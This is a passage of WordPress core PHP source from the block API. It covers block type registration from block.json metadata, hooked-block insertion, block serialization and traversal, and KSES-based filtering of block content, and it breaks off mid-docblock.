	if ( ! empty( $metadata['name'] ) && str_starts_with( $metadata['name'], 'core/' ) ) {
		$block_name = str_replace( 'core/', '', $metadata['name'] );

		if ( ! isset( $metadata['style'] ) ) {
			$metadata['style'] = "wp-block-$block_name";
		}
		if ( current_theme_supports( 'wp-block-styles' ) && wp_should_load_separate_core_block_assets() ) {
			$metadata['style']   = (array) $metadata['style'];
			$metadata['style'][] = "wp-block-{$block_name}-theme";
		}
		if ( ! isset( $metadata['editorStyle'] ) ) {
			$metadata['editorStyle'] = "wp-block-{$block_name}-editor";
		}
	}

	$settings          = array();
	$property_mappings = array(
		'apiVersion'      => 'api_version',
		'name'            => 'name',
		'title'           => 'title',
		'category'        => 'category',
		'parent'          => 'parent',
		'ancestor'        => 'ancestor',
		'icon'            => 'icon',
		'description'     => 'description',
		'keywords'        => 'keywords',
		'attributes'      => 'attributes',
		'providesContext' => 'provides_context',
		'usesContext'     => 'uses_context',
		'selectors'       => 'selectors',
		'supports'        => 'supports',
		'styles'          => 'styles',
		'variations'      => 'variations',
		'example'         => 'example',
		'allowedBlocks'   => 'allowed_blocks',
	);
	$textdomain        = ! empty( $metadata['textdomain'] ) ? $metadata['textdomain'] : null;
	$i18n_schema       = get_block_metadata_i18n_schema();

	foreach ( $property_mappings as $key => $mapped_key ) {
		if ( isset( $metadata[ $key ] ) ) {
			$settings[ $mapped_key ] = $metadata[ $key ];
			if ( $metadata_file_exists && $textdomain && isset( $i18n_schema->$key ) ) {
				$settings[ $mapped_key ] = translate_settings_using_i18n_schema( $i18n_schema->$key, $settings[ $key ], $textdomain );
			}
		}
	}

	if ( ! empty( $metadata['render'] ) ) {
		$template_path = wp_normalize_path(
			realpath(
				dirname( $metadata['file'] ) . '/' .
				remove_block_asset_path_prefix( $metadata['render'] )
			)
		);
		if ( $template_path ) {
			/**
			 * Renders the block on the server.
			 *
			 * @since 6.1.0
			 *
			 * @param array    $attributes Block attributes.
			 * @param string   $content    Block default content.
			 * @param WP_Block $block      Block instance.
			 *
			 * @return string Returns the block content.
			 */
			$settings['render_callback'] = static function ( $attributes, $content, $block ) use ( $template_path ) {
				ob_start();
				require $template_path;
				return ob_get_clean();
			};
		}
	}

	$settings = array_merge( $settings, $args );

	$script_fields = array(
		'editorScript' => 'editor_script_handles',
		'script'       => 'script_handles',
		'viewScript'   => 'view_script_handles',
	);
	foreach ( $script_fields as $metadata_field_name => $settings_field_name ) {
		if ( ! empty( $settings[ $metadata_field_name ] ) ) {
			$metadata[ $metadata_field_name ] = $settings[ $metadata_field_name ];
		}
		if ( ! empty( $metadata[ $metadata_field_name ] ) ) {
			$scripts           = $metadata[ $metadata_field_name ];
			$processed_scripts = array();
			if ( is_array( $scripts ) ) {
				for ( $index = 0; $index < count( $scripts ); $index++ ) {
					$result = register_block_script_handle(
						$metadata,
						$metadata_field_name,
						$index
					);
					if ( $result ) {
						$processed_scripts[] = $result;
					}
				}
			} else {
				$result = register_block_script_handle(
					$metadata,
					$metadata_field_name
				);
				if ( $result ) {
					$processed_scripts[] = $result;
				}
			}
			$settings[ $settings_field_name ] = $processed_scripts;
		}
	}

	$module_fields = array(
		'viewScriptModule' => 'view_script_module_ids',
	);
	foreach ( $module_fields as $metadata_field_name => $settings_field_name ) {
		if ( ! empty( $settings[ $metadata_field_name ] ) ) {
			$metadata[ $metadata_field_name ] = $settings[ $metadata_field_name ];
		}
		if ( ! empty( $metadata[ $metadata_field_name ] ) ) {
			$modules           = $metadata[ $metadata_field_name ];
			$processed_modules = array();
			if ( is_array( $modules ) ) {
				for ( $index = 0; $index < count( $modules ); $index++ ) {
					$result = register_block_script_module_id(
						$metadata,
						$metadata_field_name,
						$index
					);
					if ( $result ) {
						$processed_modules[] = $result;
					}
				}
			} else {
				$result = register_block_script_module_id(
					$metadata,
					$metadata_field_name
				);
				if ( $result ) {
					$processed_modules[] = $result;
				}
			}
			$settings[ $settings_field_name ] = $processed_modules;
		}
	}

	$style_fields = array(
		'editorStyle' => 'editor_style_handles',
		'style'       => 'style_handles',
		'viewStyle'   => 'view_style_handles',
	);
	foreach ( $style_fields as $metadata_field_name => $settings_field_name ) {
		if ( ! empty( $settings[ $metadata_field_name ] ) ) {
			$metadata[ $metadata_field_name ] = $settings[ $metadata_field_name ];
		}
		if ( ! empty( $metadata[ $metadata_field_name ] ) ) {
			$styles           = $metadata[ $metadata_field_name ];
			$processed_styles = array();
			if ( is_array( $styles ) ) {
				for ( $index = 0; $index < count( $styles ); $index++ ) {
					$result = register_block_style_handle(
						$metadata,
						$metadata_field_name,
						$index
					);
					if ( $result ) {
						$processed_styles[] = $result;
					}
				}
			} else {
				$result = register_block_style_handle(
					$metadata,
					$metadata_field_name
				);
				if ( $result ) {
					$processed_styles[] = $result;
				}
			}
			$settings[ $settings_field_name ] = $processed_styles;
		}
	}

	if ( ! empty( $metadata['blockHooks'] ) ) {
		/**
		 * Map camelCased position string (from block.json) to snake_cased block type position.
		 *
		 * @var array
		 */
		$position_mappings = array(
			'before'     => 'before',
			'after'      => 'after',
			'firstChild' => 'first_child',
			'lastChild'  => 'last_child',
		);

		$settings['block_hooks'] = array();
		foreach ( $metadata['blockHooks'] as $anchor_block_name => $position ) {
			// Avoid infinite recursion (hooking to itself).
			if ( $metadata['name'] === $anchor_block_name ) {
				_doing_it_wrong(
					__METHOD__,
					__( 'Cannot hook block to itself.' ),
					'6.4.0'
				);
				continue;
			}

			if ( ! isset( $position_mappings[ $position ] ) ) {
				continue;
			}

			$settings['block_hooks'][ $anchor_block_name ] = $position_mappings[ $position ];
		}
	}

	/**
	 * Filters the settings determined from the block type metadata.
	 *
	 * @since 5.7.0
	 *
	 * @param array $settings Array of determined settings for registering a block type.
	 * @param array $metadata Metadata provided for registering a block type.
	 */
	$settings = apply_filters( 'block_type_metadata_settings', $settings, $metadata );

	$metadata['name'] = ! empty( $settings['name'] ) ? $settings['name'] : $metadata['name'];

	return WP_Block_Type_Registry::get_instance()->register(
		$metadata['name'],
		$settings
	);
}

/**
 * Registers a block type. The recommended way is to register a block type using
 * the metadata stored in the `block.json` file.
 *
 * @since 5.0.0
 * @since 5.8.0 First parameter now accepts a path to the `block.json` file.
 *
 * @param string|WP_Block_Type $block_type Block type name including namespace, or alternatively
 *                                         a path to the JSON file with metadata definition for the block,
 *                                         or a path to the folder where the `block.json` file is located,
 *                                         or a complete WP_Block_Type instance.
 *                                         In case a WP_Block_Type is provided, the $args parameter will be ignored.
 * @param array                $args       Optional. Array of block type arguments. Accepts any public property
 *                                         of `WP_Block_Type`. See WP_Block_Type::__construct() for information
 *                                         on accepted arguments. Default empty array.
 *
 * @return WP_Block_Type|false The registered block type on success, or false on failure.
 */
function register_block_type( $block_type, $args = array() ) {
	if ( is_string( $block_type ) && file_exists( $block_type ) ) {
		return register_block_type_from_metadata( $block_type, $args );
	}

	return WP_Block_Type_Registry::get_instance()->register( $block_type, $args );
}

/**
 * Unregisters a block type.
 *
 * @since 5.0.0
 *
 * @param string|WP_Block_Type $name Block type name including namespace, or alternatively
 *                                   a complete WP_Block_Type instance.
 * @return WP_Block_Type|false The unregistered block type on success, or false on failure.
 */
function unregister_block_type( $name ) {
	return WP_Block_Type_Registry::get_instance()->unregister( $name );
}

/**
 * Determines whether a post or content string has blocks.
 *
 * This test optimizes for performance rather than strict accuracy, detecting
 * the pattern of a block but not validating its structure. For strict accuracy,
 * you should use the block parser on post content.
 *
 * @since 5.0.0
 *
 * @see parse_blocks()
 *
 * @param int|string|WP_Post|null $post Optional. Post content, post ID, or post object.
 *                                      Defaults to global $post.
 * @return bool Whether the post has blocks.
 */
function has_blocks( $post = null ) {
	if ( ! is_string( $post ) ) {
		$wp_post = get_post( $post );

		if ( ! $wp_post instanceof WP_Post ) {
			return false;
		}

		$post = $wp_post->post_content;
	}

	return str_contains( (string) $post, '<!-- wp:' );
}

/**
 * Determines whether a $post or a string contains a specific block type.
 *
 * This test optimizes for performance rather than strict accuracy, detecting
 * whether the block type exists but not validating its structure and not checking
 * synced patterns (formerly called reusable blocks). For strict accuracy,
 * you should use the block parser on post content.
 *
 * @since 5.0.0
 *
 * @see parse_blocks()
 *
 * @param string                  $block_name Full block type to look for.
 * @param int|string|WP_Post|null $post       Optional. Post content, post ID, or post object.
 *                                            Defaults to global $post.
 * @return bool Whether the post content contains the specified block.
 */
function has_block( $block_name, $post = null ) {
	if ( ! has_blocks( $post ) ) {
		return false;
	}

	if ( ! is_string( $post ) ) {
		$wp_post = get_post( $post );
		if ( $wp_post instanceof WP_Post ) {
			$post = $wp_post->post_content;
		}
	}

	/*
	 * Normalize block name to include namespace, if provided as non-namespaced.
	 * This matches behavior for WordPress 5.0.0 - 5.3.0 in matching blocks by
	 * their serialized names.
	 */
	if ( ! str_contains( $block_name, '/' ) ) {
		$block_name = 'core/' . $block_name;
	}

	// Test for existence of block by its fully qualified name.
	$has_block = str_contains( $post, '<!-- wp:' . $block_name . ' ' );

	if ( ! $has_block ) {
		/*
		 * If the given block name would serialize to a different name, test for
		 * existence by the serialized form.
		 */
		$serialized_block_name = strip_core_block_namespace( $block_name );
		if ( $serialized_block_name !== $block_name ) {
			$has_block = str_contains( $post, '<!-- wp:' . $serialized_block_name . ' ' );
		}
	}

	return $has_block;
}

/**
 * Returns an array of the names of all registered dynamic block types.
 *
 * @since 5.0.0
 *
 * @return string[] Array of dynamic block names.
 */
function get_dynamic_block_names() {
	$dynamic_block_names = array();

	$block_types = WP_Block_Type_Registry::get_instance()->get_all_registered();
	foreach ( $block_types as $block_type ) {
		if ( $block_type->is_dynamic() ) {
			$dynamic_block_names[] = $block_type->name;
		}
	}

	return $dynamic_block_names;
}

/**
 * Retrieves block types hooked into the given block, grouped by anchor block type and the relative position.
 *
 * @since 6.4.0
 *
 * @return array[] Array of block types grouped by anchor block type and the relative position.
 */
function get_hooked_blocks() {
	$block_types   = WP_Block_Type_Registry::get_instance()->get_all_registered();
	$hooked_blocks = array();
	foreach ( $block_types as $block_type ) {
		if ( ! ( $block_type instanceof WP_Block_Type ) || ! is_array( $block_type->block_hooks ) ) {
			continue;
		}
		foreach ( $block_type->block_hooks as $anchor_block_type => $relative_position ) {
			if ( ! isset( $hooked_blocks[ $anchor_block_type ] ) ) {
				$hooked_blocks[ $anchor_block_type ] = array();
			}
			if ( ! isset( $hooked_blocks[ $anchor_block_type ][ $relative_position ] ) ) {
				$hooked_blocks[ $anchor_block_type ][ $relative_position ] = array();
			}
			$hooked_blocks[ $anchor_block_type ][ $relative_position ][] = $block_type->name;
		}
	}

	return $hooked_blocks;
}

/**
 * Returns the markup for blocks hooked to the given anchor block in a specific relative position.
 *
 * @since 6.5.0
 * @access private
 *
 * @param array                   $parsed_anchor_block The anchor block, in parsed block array format.
 * @param string                  $relative_position   The relative position of the hooked blocks.
 *                                                     Can be one of 'before', 'after', 'first_child', or 'last_child'.
 * @param array                   $hooked_blocks       An array of hooked block types, grouped by anchor block and relative position.
 * @param WP_Block_Template|array $context             The block template, template part, or pattern that the anchor block belongs to.
 * @return string
 */
function insert_hooked_blocks( &$parsed_anchor_block, $relative_position, $hooked_blocks, $context ) {
	$anchor_block_type  = $parsed_anchor_block['blockName'];
	$hooked_block_types = isset( $hooked_blocks[ $anchor_block_type ][ $relative_position ] )
		? $hooked_blocks[ $anchor_block_type ][ $relative_position ]
		: array();

	/**
	 * Filters the list of hooked block types for a given anchor block type and relative position.
	 *
	 * @since 6.4.0
	 *
	 * @param string[]                        $hooked_block_types The list of hooked block types.
	 * @param string                          $relative_position  The relative position of the hooked blocks.
	 *                                                            Can be one of 'before', 'after', 'first_child', or 'last_child'.
	 * @param string                          $anchor_block_type  The anchor block type.
	 * @param WP_Block_Template|WP_Post|array $context            The block template, template part, `wp_navigation` post type,
	 *                                                            or pattern that the anchor block belongs to.
	 */
	$hooked_block_types = apply_filters( 'hooked_block_types', $hooked_block_types, $relative_position, $anchor_block_type, $context );

	$markup = '';
	foreach ( $hooked_block_types as $hooked_block_type ) {
		$parsed_hooked_block = array(
			'blockName'    => $hooked_block_type,
			'attrs'        => array(),
			'innerBlocks'  => array(),
			'innerContent' => array(),
		);

		/**
		 * Filters the parsed block array for a given hooked block.
		 *
		 * @since 6.5.0
		 *
		 * @param array|null                      $parsed_hooked_block The parsed block array for the given hooked block type, or null to suppress the block.
		 * @param string                          $hooked_block_type   The hooked block type name.
		 * @param string                          $relative_position   The relative position of the hooked block.
		 * @param array                           $parsed_anchor_block The anchor block, in parsed block array format.
		 * @param WP_Block_Template|WP_Post|array $context             The block template, template part, `wp_navigation` post type,
		 *                                                             or pattern that the anchor block belongs to.
		 */
		$parsed_hooked_block = apply_filters( 'hooked_block', $parsed_hooked_block, $hooked_block_type, $relative_position, $parsed_anchor_block, $context );

		/**
		 * Filters the parsed block array for a given hooked block.
		 *
		 * The dynamic portion of the hook name, `$hooked_block_type`, refers to the block type name of the specific hooked block.
		 *
		 * @since 6.5.0
		 *
		 * @param array|null                      $parsed_hooked_block The parsed block array for the given hooked block type, or null to suppress the block.
		 * @param string                          $hooked_block_type   The hooked block type name.
		 * @param string                          $relative_position   The relative position of the hooked block.
		 * @param array                           $parsed_anchor_block The anchor block, in parsed block array format.
		 * @param WP_Block_Template|WP_Post|array $context             The block template, template part, `wp_navigation` post type,
		 *                                                             or pattern that the anchor block belongs to.
		 */
		$parsed_hooked_block = apply_filters( "hooked_block_{$hooked_block_type}", $parsed_hooked_block, $hooked_block_type, $relative_position, $parsed_anchor_block, $context );

		if ( null === $parsed_hooked_block ) {
			continue;
		}

		// It's possible that the filter returned a block of a different type, so we explicitly
		// look for the original `$hooked_block_type` in the `ignoredHookedBlocks` metadata.
		if (
			! isset( $parsed_anchor_block['attrs']['metadata']['ignoredHookedBlocks'] ) ||
			! in_array( $hooked_block_type, $parsed_anchor_block['attrs']['metadata']['ignoredHookedBlocks'], true )
		) {
			$markup .= serialize_block( $parsed_hooked_block );
		}
	}

	return $markup;
}

/**
 * Adds a list of hooked block types to an anchor block's ignored hooked block types.
 *
 * This function is meant for internal use only.
 *
 * @since 6.5.0
 * @access private
 *
 * @param array                   $parsed_anchor_block The anchor block, in parsed block array format.
 * @param string                  $relative_position   The relative position of the hooked blocks.
 *                                                     Can be one of 'before', 'after', 'first_child', or 'last_child'.
 * @param array                   $hooked_blocks       An array of hooked block types, grouped by anchor block and relative position.
 * @param WP_Block_Template|array $context             The block template, template part, or pattern that the anchor block belongs to.
 * @return string An empty string.
 */
function set_ignored_hooked_blocks_metadata( &$parsed_anchor_block, $relative_position, $hooked_blocks, $context ) {
	$anchor_block_type  = $parsed_anchor_block['blockName'];
	$hooked_block_types = isset( $hooked_blocks[ $anchor_block_type ][ $relative_position ] )
		? $hooked_blocks[ $anchor_block_type ][ $relative_position ]
		: array();

	/** This filter is documented in wp-includes/blocks.php */
	$hooked_block_types = apply_filters( 'hooked_block_types', $hooked_block_types, $relative_position, $anchor_block_type, $context );
	if ( empty( $hooked_block_types ) ) {
		return '';
	}

	foreach ( $hooked_block_types as $index => $hooked_block_type ) {
		$parsed_hooked_block = array(
			'blockName'    => $hooked_block_type,
			'attrs'        => array(),
			'innerBlocks'  => array(),
			'innerContent' => array(),
		);

		/** This filter is documented in wp-includes/blocks.php */
		$parsed_hooked_block = apply_filters( 'hooked_block', $parsed_hooked_block, $hooked_block_type, $relative_position, $parsed_anchor_block, $context );

		/** This filter is documented in wp-includes/blocks.php */
		$parsed_hooked_block = apply_filters( "hooked_block_{$hooked_block_type}", $parsed_hooked_block, $hooked_block_type, $relative_position, $parsed_anchor_block, $context );

		if ( null === $parsed_hooked_block ) {
			unset( $hooked_block_types[ $index ] );
		}
	}

	$previously_ignored_hooked_blocks = isset( $parsed_anchor_block['attrs']['metadata']['ignoredHookedBlocks'] )
		? $parsed_anchor_block['attrs']['metadata']['ignoredHookedBlocks']
		: array();

	$parsed_anchor_block['attrs']['metadata']['ignoredHookedBlocks'] = array_unique(
		array_merge(
			$previously_ignored_hooked_blocks,
			$hooked_block_types
		)
	);

	// Markup for the hooked blocks has already been created (in `insert_hooked_blocks`).
	return '';
}

/**
 * Returns a function that injects the theme attribute into, and hooked blocks before, a given block.
 *
 * The returned function can be used as `$pre_callback` argument to `traverse_and_serialize_block(s)`,
 * where it will inject the `theme` attribute into all Template Part blocks, and prepend the markup for
 * any blocks hooked `before` the given block and as its parent's `first_child`, respectively.
 *
 * This function is meant for internal use only.
 *
 * @since 6.4.0
 * @since 6.5.0 Added $callback argument.
 * @access private
 *
 * @param array                           $hooked_blocks An array of blocks hooked to another given block.
 * @param WP_Block_Template|WP_Post|array $context       A block template, template part, `wp_navigation` post object,
 *                                                       or pattern that the blocks belong to.
 * @param callable                        $callback      A function that will be called for each block to generate
 *                                                       the markup for a given list of blocks that are hooked to it.
 *                                                       Default: 'insert_hooked_blocks'.
 * @return callable A function that returns the serialized markup for the given block,
 *                  including the markup for any hooked blocks before it.
 */
function make_before_block_visitor( $hooked_blocks, $context, $callback = 'insert_hooked_blocks' ) {
	/**
	 * Injects hooked blocks before the given block, injects the `theme` attribute into Template Part blocks, and returns the serialized markup.
	 *
	 * If the current block is a Template Part block, inject the `theme` attribute.
	 * Furthermore, prepend the markup for any blocks hooked `before` the given block and as its parent's
	 * `first_child`, respectively, to the serialized markup for the given block.
	 *
	 * @param array $block        The block to inject the theme attribute into, and hooked blocks before. Passed by reference.
	 * @param array $parent_block The parent block of the given block. Passed by reference. Default null.
	 * @param array $prev         The previous sibling block of the given block. Default null.
	 * @return string The serialized markup for the given block, with the markup for any hooked blocks prepended to it.
	 */
	return function ( &$block, &$parent_block = null, $prev = null ) use ( $hooked_blocks, $context, $callback ) {
		_inject_theme_attribute_in_template_part_block( $block );

		$markup = '';

		if ( $parent_block && ! $prev ) {
			// Candidate for first-child insertion.
			$markup .= call_user_func_array(
				$callback,
				array( &$parent_block, 'first_child', $hooked_blocks, $context )
			);
		}

		$markup .= call_user_func_array(
			$callback,
			array( &$block, 'before', $hooked_blocks, $context )
		);

		return $markup;
	};
}

/**
 * Returns a function that injects the hooked blocks after a given block.
 *
 * The returned function can be used as `$post_callback` argument to `traverse_and_serialize_block(s)`,
 * where it will append the markup for any blocks hooked `after` the given block and as its parent's
 * `last_child`, respectively.
 *
 * This function is meant for internal use only.
 *
 * @since 6.4.0
 * @since 6.5.0 Added $callback argument.
 * @access private
 *
 * @param array                           $hooked_blocks An array of blocks hooked to another block.
 * @param WP_Block_Template|WP_Post|array $context       A block template, template part, `wp_navigation` post object,
 *                                                       or pattern that the blocks belong to.
 * @param callable                        $callback      A function that will be called for each block to generate
 *                                                       the markup for a given list of blocks that are hooked to it.
 *                                                       Default: 'insert_hooked_blocks'.
 * @return callable A function that returns the serialized markup for the given block,
 *                  including the markup for any hooked blocks after it.
 */
function make_after_block_visitor( $hooked_blocks, $context, $callback = 'insert_hooked_blocks' ) {
	/**
	 * Injects hooked blocks after the given block, and returns the serialized markup.
	 *
	 * Append the markup for any blocks hooked `after` the given block and as its parent's
	 * `last_child`, respectively, to the serialized markup for the given block.
	 *
	 * @param array $block        The block to inject the hooked blocks after. Passed by reference.
	 * @param array $parent_block The parent block of the given block. Passed by reference. Default null.
	 * @param array $next         The next sibling block of the given block. Default null.
	 * @return string The serialized markup for the given block, with the markup for any hooked blocks appended to it.
	 */
	return function ( &$block, &$parent_block = null, $next = null ) use ( $hooked_blocks, $context, $callback ) {
		$markup = call_user_func_array(
			$callback,
			array( &$block, 'after', $hooked_blocks, $context )
		);

		if ( $parent_block && ! $next ) {
			// Candidate for last-child insertion.
			$markup .= call_user_func_array(
				$callback,
				array( &$parent_block, 'last_child', $hooked_blocks, $context )
			);
		}

		return $markup;
	};
}

/**
 * Given an array of attributes, returns a string in the serialized attributes
 * format prepared for post content.
 *
 * The serialized result is a JSON-encoded string, with unicode escape sequence
 * substitution for characters which might otherwise interfere with embedding
 * the result in an HTML comment.
 *
 * This function must produce output that remains in sync with the output of
 * the serializeAttributes JavaScript function in the block editor in order
 * to ensure consistent operation between PHP and JavaScript.
 *
 * @since 5.3.1
 *
 * @param array $block_attributes Attributes object.
 * @return string Serialized attributes.
 */
function serialize_block_attributes( $block_attributes ) {
	$encoded_attributes = wp_json_encode( $block_attributes, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE );
	$encoded_attributes = preg_replace( '/--/', '\\u002d\\u002d', $encoded_attributes );
	$encoded_attributes = preg_replace( '/</', '\\u003c', $encoded_attributes );
	$encoded_attributes = preg_replace( '/>/', '\\u003e', $encoded_attributes );
	$encoded_attributes = preg_replace( '/&/', '\\u0026', $encoded_attributes );
	// Regex: /\\"/
	$encoded_attributes = preg_replace( '/\\\\"/', '\\u0022', $encoded_attributes );

	return $encoded_attributes;
}

/**
 * Returns the block name to use for serialization. This will remove the default
 * "core/" namespace from a block name.
 *
 * @since 5.3.1
 *
 * @param string|null $block_name Optional. Original block name. Null if the block name is unknown,
 *                                e.g. Classic blocks have their name set to null. Default null.
 * @return string Block name to use for serialization.
 */
function strip_core_block_namespace( $block_name = null ) {
	if ( is_string( $block_name ) && str_starts_with( $block_name, 'core/' ) ) {
		return substr( $block_name, 5 );
	}

	return $block_name;
}

/**
 * Returns the content of a block, including comment delimiters.
 *
 * @since 5.3.1
 *
 * @param string|null $block_name       Block name. Null if the block name is unknown,
 *                                      e.g. Classic blocks have their name set to null.
 * @param array       $block_attributes Block attributes.
 * @param string      $block_content    Block save content.
 * @return string Comment-delimited block content.
 */
function get_comment_delimited_block_content( $block_name, $block_attributes, $block_content ) {
	if ( is_null( $block_name ) ) {
		return $block_content;
	}

	$serialized_block_name = strip_core_block_namespace( $block_name );
	$serialized_attributes = empty( $block_attributes ) ? '' : serialize_block_attributes( $block_attributes ) . ' ';

	if ( empty( $block_content ) ) {
		return sprintf( '<!-- wp:%s %s/-->', $serialized_block_name, $serialized_attributes );
	}

	return sprintf(
		'<!-- wp:%s %s-->%s<!-- /wp:%s -->',
		$serialized_block_name,
		$serialized_attributes,
		$block_content,
		$serialized_block_name
	);
}

/**
 * Returns the content of a block, including comment delimiters, serializing all
 * attributes from the given parsed block.
 *
 * This should be used when preparing a block to be saved to post content.
 * Prefer `render_block` when preparing a block for display. Unlike
 * `render_block`, this does not evaluate a block's `render_callback`, and will
 * instead preserve the markup as parsed.
 *
 * @since 5.3.1
 *
 * @param array $block A representative array of a single parsed block object. See WP_Block_Parser_Block.
 * @return string String of rendered HTML.
 */
function serialize_block( $block ) {
	$block_content = '';

	$index = 0;
	foreach ( $block['innerContent'] as $chunk ) {
		$block_content .= is_string( $chunk ) ? $chunk : serialize_block( $block['innerBlocks'][ $index++ ] );
	}

	if ( ! is_array( $block['attrs'] ) ) {
		$block['attrs'] = array();
	}

	return get_comment_delimited_block_content(
		$block['blockName'],
		$block['attrs'],
		$block_content
	);
}

/**
 * Returns a joined string of the aggregate serialization of the given
 * parsed blocks.
 *
 * @since 5.3.1
 *
 * @param array[] $blocks An array of representative arrays of parsed block objects. See serialize_block().
 * @return string String of rendered HTML.
 */
function serialize_blocks( $blocks ) {
	return implode( '', array_map( 'serialize_block', $blocks ) );
}

/**
 * Traverses a parsed block tree and applies callbacks before and after serializing it.
 *
 * Recursively traverses the block and its inner blocks and applies the two callbacks provided as
 * arguments, the first one before serializing the block, and the second one after serializing it.
 * If either callback returns a string value, it will be prepended and appended to the serialized
 * block markup, respectively.
 *
 * The callbacks will receive a reference to the current block as their first argument, so that they
 * can also modify it, and the current block's parent block as second argument. Finally, the
 * `$pre_callback` receives the previous block, whereas the `$post_callback` receives
 * the next block as third argument.
 *
 * Serialized blocks are returned including comment delimiters, and with all attributes serialized.
 *
 * This function should be used when there is a need to modify the saved block, or to inject markup
 * into the return value. Prefer `serialize_block` when preparing a block to be saved to post content.
 *
 * This function is meant for internal use only.
 *
 * @since 6.4.0
 * @access private
 *
 * @see serialize_block()
 *
 * @param array    $block         A representative array of a single parsed block object. See WP_Block_Parser_Block.
 * @param callable $pre_callback  Callback to run on each block in the tree before it is traversed and serialized.
 *                                It is called with the following arguments: &$block, $parent_block, $previous_block.
 *                                Its string return value will be prepended to the serialized block markup.
 * @param callable $post_callback Callback to run on each block in the tree after it is traversed and serialized.
 *                                It is called with the following arguments: &$block, $parent_block, $next_block.
 *                                Its string return value will be appended to the serialized block markup.
 * @return string Serialized block markup.
 */
function traverse_and_serialize_block( $block, $pre_callback = null, $post_callback = null ) {
	$block_content = '';
	$block_index   = 0;

	foreach ( $block['innerContent'] as $chunk ) {
		if ( is_string( $chunk ) ) {
			$block_content .= $chunk;
		} else {
			$inner_block = $block['innerBlocks'][ $block_index ];

			if ( is_callable( $pre_callback ) ) {
				$prev = 0 === $block_index
					? null
					: $block['innerBlocks'][ $block_index - 1 ];

				$block_content .= call_user_func_array(
					$pre_callback,
					array( &$inner_block, &$block, $prev )
				);
			}

			if ( is_callable( $post_callback ) ) {
				$next = count( $block['innerBlocks'] ) - 1 === $block_index
					? null
					: $block['innerBlocks'][ $block_index + 1 ];

				$post_markup = call_user_func_array(
					$post_callback,
					array( &$inner_block, &$block, $next )
				);
			}

			$block_content .= traverse_and_serialize_block( $inner_block, $pre_callback, $post_callback );
			$block_content .= isset( $post_markup ) ? $post_markup : '';

			++$block_index;
		}
	}

	if ( ! is_array( $block['attrs'] ) ) {
		$block['attrs'] = array();
	}

	return get_comment_delimited_block_content(
		$block['blockName'],
		$block['attrs'],
		$block_content
	);
}

/**
 * Given an array of parsed block trees, applies callbacks before and after serializing them and
 * returns their concatenated output.
 *
 * Recursively traverses the blocks and their inner blocks and applies the two callbacks provided as
 * arguments, the first one before serializing a block, and the second one after serializing.
 * If either callback returns a string value, it will be prepended and appended to the serialized
 * block markup, respectively.
 *
 * The callbacks will receive a reference to the current block as their first argument, so that they
 * can also modify it, and the current block's parent block as second argument. Finally, the
 * `$pre_callback` receives the previous block, whereas the `$post_callback` receives
 * the next block as third argument.
 *
 * Serialized blocks are returned including comment delimiters, and with all attributes serialized.
 *
 * This function should be used when there is a need to modify the saved blocks, or to inject markup
 * into the return value. Prefer `serialize_blocks` when preparing blocks to be saved to post content.
 *
 * This function is meant for internal use only.
 *
 * @since 6.4.0
 * @access private
 *
 * @see serialize_blocks()
 *
 * @param array[]  $blocks        An array of parsed blocks. See WP_Block_Parser_Block.
 * @param callable $pre_callback  Callback to run on each block in the tree before it is traversed and serialized.
 *                                It is called with the following arguments: &$block, $parent_block, $previous_block.
 *                                Its string return value will be prepended to the serialized block markup.
 * @param callable $post_callback Callback to run on each block in the tree after it is traversed and serialized.
 *                                It is called with the following arguments: &$block, $parent_block, $next_block.
 *                                Its string return value will be appended to the serialized block markup.
 * @return string Serialized block markup.
 */
function traverse_and_serialize_blocks( $blocks, $pre_callback = null, $post_callback = null ) {
	$result       = '';
	$parent_block = null; // At the top level, there is no parent block to pass to the callbacks; yet the callbacks expect a reference.

	foreach ( $blocks as $index => $block ) {
		if ( is_callable( $pre_callback ) ) {
			$prev = 0 === $index
				? null
				: $blocks[ $index - 1 ];

			$result .= call_user_func_array(
				$pre_callback,
				array( &$block, &$parent_block, $prev )
			);
		}

		if ( is_callable( $post_callback ) ) {
			$next = count( $blocks ) - 1 === $index
				? null
				: $blocks[ $index + 1 ];

			$post_markup = call_user_func_array(
				$post_callback,
				array( &$block, &$parent_block, $next )
			);
		}

		$result .= traverse_and_serialize_block( $block, $pre_callback, $post_callback );
		$result .= isset( $post_markup ) ? $post_markup : '';
	}

	return $result;
}

/**
 * Filters and sanitizes block content to remove non-allowable HTML
 * from parsed block attribute values.
 *
 * @since 5.3.1
 *
 * @param string         $text              Text that may contain block content.
 * @param array[]|string $allowed_html      Optional. An array of allowed HTML elements and attributes,
 *                                          or a context name such as 'post'. See wp_kses_allowed_html()
 *                                          for the list of accepted context names. Default 'post'.
 * @param string[]       $allowed_protocols Optional. Array of allowed URL protocols.
 *                                          Defaults to the result of wp_allowed_protocols().
 * @return string The filtered and sanitized content result.
 */
function filter_block_content( $text, $allowed_html = 'post', $allowed_protocols = array() ) {
	$result = '';

	if ( str_contains( $text, '<!--' ) && str_contains( $text, '--->' ) ) {
		$text = preg_replace_callback( '%<!--(.*?)--->%', '_filter_block_content_callback', $text );
	}

	$blocks = parse_blocks( $text );
	foreach ( $blocks as $block ) {
		$block   = filter_block_kses( $block, $allowed_html, $allowed_protocols );
		$result .= serialize_block( $block );
	}

	return $result;
}

/**
 * Callback used for regular expression replacement in filter_block_content().
 *
 * @since 6.2.1
 * @access private
 *
 * @param array $matches Array of preg_replace_callback matches.
 * @return string Replacement string.
 */
function _filter_block_content_callback( $matches ) {
	return '<!--' . rtrim( $matches[1], '-' ) . '-->';
}

/**
 * Filters and sanitizes a parsed block to remove non-allowable HTML
 * from block attribute values.
 *
 * @since 5.3.1
 *
 * @param WP_Block_Parser_Block $block             The parsed block object.
 * @param array[]|string        $allowed_html      An array of allowed HTML elements and attributes,
 *                                                 or a context name such as 'post'. See wp_kses_allowed_html()
 *                                                 for the list of accepted context names.
 * @param string[]              $allowed_protocols Optional. Array of allowed URL protocols.
 *                                                 Defaults to the result of wp_allowed_protocols().
 * @return array The filtered and sanitized block object result.
 */
function filter_block_kses( $block, $allowed_html, $allowed_protocols = array() ) {
	$block['attrs'] = filter_block_kses_value( $block['attrs'], $allowed_html, $allowed_protocols, $block );

	if ( is_array( $block['innerBlocks'] ) ) {
		foreach ( $block['innerBlocks'] as $i => $inner_block ) {
			$block['innerBlocks'][ $i ] = filter_block_kses( $inner_block, $allowed_html, $allowed_protocols );
		}
	}

	return $block;
}

/**
 * Filters and sanitizes a parsed block attribute value to remove
 * non-allowable HTML.
 *
 * @since 5.3.1
 * @since 6.5.5 Added the `$block_context` parameter.
 *
